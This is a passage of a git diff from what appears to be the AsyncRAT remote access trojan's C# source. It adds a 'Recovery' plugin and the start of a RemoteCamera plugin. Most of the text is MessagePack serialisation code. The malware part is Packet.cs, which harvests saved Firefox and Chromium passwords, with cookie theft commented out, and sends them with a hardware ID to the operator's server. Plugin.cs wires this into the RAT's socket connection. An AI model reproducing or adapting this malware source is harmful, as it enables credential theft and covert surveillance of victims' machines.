16-bit big-endian unsigned integer + // +--------+--------+--------+ + // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); + } + else if (lvByte == 0xCE) + { + // uint 32 stores a 32-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+ + // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); + } + else if (lvByte == 0xCF) + { + // uint 64 stores a 64-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); + } + else if (lvByte == 0xDC) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDD) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xD9) + { + // str 8 stores a byte array whose length is upto (2^8)-1 bytes: + // +--------+--------+========+ + // | 0xd9 |YYYYYYYY| data | + // +--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDF) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDA) + { + // str 16 stores a byte array whose length is upto (2^16)-1 bytes: + // +--------+--------+--------+========+ + // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + // +--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDB) + { + // str 32 stores a byte array whose length is upto (2^32)-1 bytes: + // +--------+--------+--------+--------+--------+========+ + // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + // +--------+--------+--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xD0) + { + // int 8 stores a 8-bit signed integer + // +--------+--------+ + // | 0xd0 |ZZZZZZZZ| + // +--------+--------+ + SetAsInteger((sbyte)ms.ReadByte()); + } + else if (lvByte == 0xD1) + { + // int 16 stores a 16-bit big-endian signed integer + // +--------+--------+--------+ + // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt16(rawByte, 0)); + } + else if (lvByte == 0xD2) + { + // int 32 stores a 32-bit big-endian signed integer + // +--------+--------+--------+--------+--------+ + // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt32(rawByte, 0)); + } + else if (lvByte == 0xD3) + { + // int 64 stores a 64-bit big-endian signed integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt64(rawByte, 0)); + } + } + + public byte[] Encode2Bytes() + { + using (MemoryStream ms = new MemoryStream()) + { + Encode2Stream(ms); + byte[] r = new byte[ms.Length]; + ms.Position = 0; + ms.Read(r, 0, (int)ms.Length); + return r; + } + } + + public void Encode2Stream(Stream ms) + { + switch (this.valueType) + { + case MsgPackType.Unknown: + case MsgPackType.Null: + WriteTools.WriteNull(ms); + break; + case MsgPackType.String: + WriteTools.WriteString(ms, (String)this.innerValue); + break; + case MsgPackType.Integer: + WriteTools.WriteInteger(ms, (Int64)this.innerValue); + break; + case MsgPackType.UInt64: + WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); + break; + case MsgPackType.Boolean: + WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); + break; + case MsgPackType.Float: + WriteTools.WriteFloat(ms, (Double)this.innerValue); + break; + case MsgPackType.Single: + WriteTools.WriteFloat(ms, (Single)this.innerValue); + break; + case MsgPackType.DateTime: + WriteTools.WriteInteger(ms, GetAsInteger()); + break; + case MsgPackType.Binary: + WriteTools.WriteBinary(ms, (byte[])this.innerValue); + break; + case MsgPackType.Map: + WriteMap(ms); + break; + case MsgPackType.Array: + WirteArray(ms); + break; + default: + WriteTools.WriteNull(ms); + break; + } + } + + public String AsString + { + get + { + return GetAsString(); + } + set + { + SetAsString(value); + } + } + + public Int64 AsInteger + { + get { return GetAsInteger(); } + set { SetAsInteger((Int64)value); } + } + + public Double AsFloat + { + get { return GetAsFloat(); } + set { SetAsFloat(value); } + } + public MsgPackArray AsArray + { + get + { + lock (this) + { + if (refAsArray == null) + { + refAsArray = new MsgPackArray(this, children); + } + } + return refAsArray; + } + } + + + public MsgPackType ValueType + { + get { return valueType; } + } + + + IEnumerator IEnumerable.GetEnumerator() + { + return new MsgPackEnum(children); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/MsgPackType.cs new file mode 100644 index 0000000..2567ae6 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/MsgPackType.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public enum MsgPackType + { + Unknown = 0, + Null = 1, + Map = 2, + Array = 3, + String = 4, + Integer = 5, + UInt64 = 6, + Boolean = 7, + Float = 8, + Single = 9, + DateTime = 10, + Binary = 11 + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/ReadTools.cs new file mode 100644 index 0000000..9e85968 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/ReadTools.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + class ReadTools + { + public static String ReadString(Stream ms, int len) + { + byte[] rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + + public static String ReadString(Stream ms) + { + byte strFlag = (byte)ms.ReadByte(); + return ReadString(strFlag, ms); + } + + public static String ReadString(byte strFlag, Stream ms) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = null; + int len = 0; + if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) + { + len = strFlag - 0xA0; + } + else if (strFlag == 0xD9) + { + len = ms.ReadByte(); + } + else if (strFlag == 0xDA) + { + rawBytes = new byte[2]; + ms.Read(rawBytes, 0, 2); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToUInt16(rawBytes, 0); + } + else if (strFlag == 0xDB) + { + rawBytes = new byte[4]; + ms.Read(rawBytes, 0, 4); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToInt32(rawBytes, 0); + } + rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/WriteTools.cs new file mode 100644 index 0000000..3de69fa --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/WriteTools.cs @@ -0,0 +1,199 @@ +using System; +using System.IO; + +namespace Plugin.MessagePack +{ + class WriteTools + { + public static void WriteNull(Stream ms) + { + ms.WriteByte(0xC0); + } + + public static void WriteString(Stream ms, String strVal) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 31) + { + b = (byte)(0xA0 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 255) + { + b = 0xD9; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDA; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDB; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + public static void WriteBinary(Stream ms, byte[] rawBytes) + { + + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 255) + { + b = 0xC4; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xC5; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xC6; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + + public static void WriteFloat(Stream ms, Double fVal) + { + ms.WriteByte(0xCB); + ms.Write(BytesTools.SwapDouble(fVal), 0, 8); + } + + public static void WriteSingle(Stream ms, Single fVal) + { + ms.WriteByte(0xCA); + ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); + } + + public static void WriteBoolean(Stream ms, Boolean bVal) + { + if (bVal) + { + ms.WriteByte(0xC3); + } + else + { + ms.WriteByte(0xC2); + } + } + + + public static void WriteUInt64(Stream ms, UInt64 iVal) + { + ms.WriteByte(0xCF); + byte[] dataBytes = BitConverter.GetBytes(iVal); + ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); + } + + public static void WriteInteger(Stream ms, Int64 iVal) + { + if (iVal >= 0) + { // 正数 + if (iVal <= 127) + { + ms.WriteByte((byte)iVal); + } + else if (iVal <= 255) + { //UInt8 + ms.WriteByte(0xCC); + ms.WriteByte((byte)iVal); + } + else if (iVal <= (UInt32)0xFFFF) + { //UInt16 + ms.WriteByte(0xCD); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= (UInt32)0xFFFFFFFF) + { //UInt32 + ms.WriteByte(0xCE); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else + { //Int64 + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + } + else + { // <0 + if (iVal <= Int32.MinValue) //-2147483648 // 64 bit + { + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + else if (iVal <= Int16.MinValue) // -32768 // 32 bit + { + ms.WriteByte(0xD2); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else if (iVal <= -128) // -32768 // 32 bit + { + ms.WriteByte(0xD1); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= -32) + { + ms.WriteByte(0xD0); + ms.WriteByte((byte)iVal); + } + else + { + ms.WriteByte((byte)iVal); + } + } // end <0 + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Packet.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Packet.cs new file mode 100644 index 0000000..169c32b --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Packet.cs @@ -0,0 +1,44 @@ +using Plugin.MessagePack; +using System; +using System.Text; + +namespace Plugin +{ + public static class Packet + { + public static void Read() + { + try + { + StringBuilder Credentials = new StringBuilder(); + new Browsers.Firefox.Firefox().CredRecovery(Credentials); + new Browsers.Chromium.Chromium().Recovery(Credentials); + + //StringBuilder Cookies = new StringBuilder(); + //new Browsers.Firefox.Firefox().CookiesRecovery(Cookies); + //new Browsers.Chromium.Chromium().CookiesRecovery(Cookies); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "recoveryPassword"; + msgpack.ForcePathObject("Password").AsString = Credentials.ToString(); + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + //msgpack.ForcePathObject("Cookies").AsString = Cookies.ToString(); + Connection.Send(msgpack.Encode2Bytes()); + } + catch (Exception ex) + { + Error(ex.Message); + } + Connection.Disconnected(); + } + + public static void Error(string ex) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Error"; + msgpack.ForcePathObject("Error").AsString = ex; + Connection.Send(msgpack.Encode2Bytes()); + } + } + +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Plugin.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Plugin.cs new file mode 100644 index 0000000..5bc9da7 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Plugin.cs @@ -0,0 +1,45 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public class Plugin + { + public static Socket Socket; + public static Mutex AppMutex; + public static string Mutex; + public static string BDOS; + public static string Install; + public static string InstallFile; + + public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile) + { + Debug.WriteLine("Plugin Invoked"); + AppMutex = mutex; + Mutex = mtx; + BDOS = bdos; + Install = install; + InstallFile = installFile; + Socket = socket; + Connection.ServerCertificate = certificate; + Connection.Hwid = hwid; + new Thread(() => + { + Connection.InitializeClient(msgPack); + }).Start(); + + while (Connection.IsConnected) + { + Thread.Sleep(1000); + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..53e399a --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +//[assembly: Guid("8bfc8ed2-71cc-49dc-9020-2c8199bc27b6")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Recovery.csproj b/AsyncRAT-C#/Plugin/Recovery/Recovery/Recovery.csproj new file mode 100644 index 0000000..a5b3ea5 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Recovery.csproj @@ -0,0 +1,89 @@ + + + + + + Debug + AnyCPU + {8BFC8ED2-71CC-49DC-9020-2C8199BC27B6} + Library + Properties + Plugin + Recovery + v4.0 + 512 + true + + + + + true + full + false + ..\..\..\Binaries\Debug\Plugins\ + DEBUG;TRACE + prompt + 4 + + + none + true + ..\..\..\Binaries\Release\Plugins\ + TRACE + prompt + 4 + + + + ..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll + + + + ..\packages\Newtonsoft.Json.12.0.2\lib\net40\Newtonsoft.Json.dll + + + + + ..\packages\System.Data.SQLite.Core.1.0.111.0\lib\net40\System.Data.SQLite.dll + True + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/packages.config b/AsyncRAT-C#/Plugin/Recovery/Recovery/packages.config new file mode 100644 index 0000000..712f46b --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/packages.config @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera.sln b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera.sln new file mode 100644 index 0000000..066e0c1 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29123.88 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteCamera", "RemoteCamera\RemoteCamera.csproj", "{619B7612-DFEA-442A-A927-D997F99C497B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {619B7612-DFEA-442A-A927-D997F99C497B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {619B7612-DFEA-442A-A927-D997F99C497B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {619B7612-DFEA-442A-A927-D997F99C497B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {619B7612-DFEA-442A-A927-D997F99C497B}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {36226AA4-CC2B-4260-B49C-AE8C3D60BB56} + EndGlobalSection +EndGlobal diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/CameraControlProperty.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/CameraControlProperty.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/FilterInfo.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/FilterInfo.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/FilterInfoCollection.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/FilterInfoCollection.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IAMCameraControl.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IAMCameraControl.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IAMCrossbar.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IAMCrossbar.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IAMVideoControl.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IAMVideoControl.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IBaseFilter.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IBaseFilter.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IEnumFilters.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IEnumFilters.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IEnumPins.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IEnumPins.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IFilterGraph.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IFilterGraph.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs 